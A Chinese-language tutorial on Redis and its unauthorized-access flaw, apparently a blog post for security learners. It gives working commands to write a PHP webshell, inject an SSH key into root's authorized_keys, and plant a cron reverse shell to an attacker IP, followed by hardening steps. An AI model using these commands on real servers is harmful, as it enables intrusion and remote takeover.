1 redis是什么
Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个非常快速的开源非关系、Key-Value数据库,通常称为数据结构服务器;
Redis 在 Java Web 主要有两个应用场景: 存储 缓存 用的数据; 需要高速读/写的场合使用它快速读/写;
NoSql的四大分类
1.键值(Key-Value)存储,如Redis(优势:快速查询 劣势:存储数据缺少结构化)
2.列存储,如HBase(优势:快速查询,扩展性强 劣势:功能相对局限)
3.文档数据库,如mongoDB(优势:数据结构要求不严格 劣势:查询性能不高,确实统一查询的语法)
4.图形数据库,如InfoGrid(优势:利用图结构相关算法 劣势:需要对整个图做计算才能得到结果,不容易做分布式的集群方案)
redis安装与基本使用:https://juejin.cn/post/6844903906649047053
2 Redis漏洞
Redis 4.x/5.x 未授权访问漏洞
Redis <= 5.0.5 主从复制 RCE
1)安装redis
(1)info 查看信息
(2)flushall 删除所有数据库内容:
(3)flushdb 刷新数据库
(4)exists key 查看键值
(5)set test "who am i" 设置变量
(6)config set dir dirpath 设置路径等配置
(7)config get dir/dbfilename 获取路径及数据配置信息
(8)save 保存
(9)get 变量,查看变量名称
3)msf下利用模块
auxiliary/scanner/redis/file_upload
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server
4)渗透测试
探测是否存在漏洞:
nmap -v -Pn -p 6379 -sV IP
nmap -A -p 6379 --script redis-info IP
5)漏洞验证:
3 漏洞利用
3.1 往web物理路径写webshell
redis-cli -h ip地址
config set dir /var/www/html/ (/var/www/html/为网站路径)
config set dbfilename shell.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n" (用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行)
save
3.2 导入SSH公钥(用私钥登录)
在攻击机kali中生成ssh公钥和私钥:ssh-keygen -t rsa 默认情况下,生成后在用户的家目录下的 .ssh 目录下。
将公钥导入key.txt文件,再把key.txt文件内容写入目标主机的缓冲里:
cd .ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt # 将生成的公钥保存到fairy.txt
cat key.txt | redis-cli -h 受害IP地址 -x set crackOK # 将保存ssh的公钥fairy.txt写入redis
config set dir /root/.ssh/config set dbfilename "authorized_keys" #设置上传公钥的备份文件名字为authorized_keysconfig get dbfilename
save
exit
连接目标主机:
3.3 在crontab里写定时任务反弹shell
先在自己的服务器上监听一个端口:nc -lvvp 8088
写入命令
redis-cli -h 受害机IP地址
config set dir /var/spool/cron
config set dbfilename root
set x "\n\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机IP地址/8088 0>&1\n\n\n"
save
过一分钟以后,在”公网“的nc中会反弹shell回来。
4 防护措施
1.禁止一些高危命令
修改 redis.conf 文件,添加以下内容,来禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
2.以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
3.为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
4.禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
5.保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
## chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
## chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
## chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
6.修改默认端口
指定Redis监听端口,默认端口为6379,作者在自己的一篇博文中解释了为什么选用6379作为默认端口,因为6379在手机按键上MERZ对应的号码,而MERZ取自意大利歌女Alessia Merz的名字
## redis-server --port 6380
7.防火墙
// accept
## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
## iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT
// drop
## iptables -I INPUT -p tcp --dport 6379 -j DROP
## iptables -I INPUT -p udp --dport 6379 -j DROP
// 保存规则并重启 iptables
## service iptables save
## service iptables restar
主要参考文章:
Redis未授权访问利用——Knlvre 2020-09-13
安全学习交流群:687398569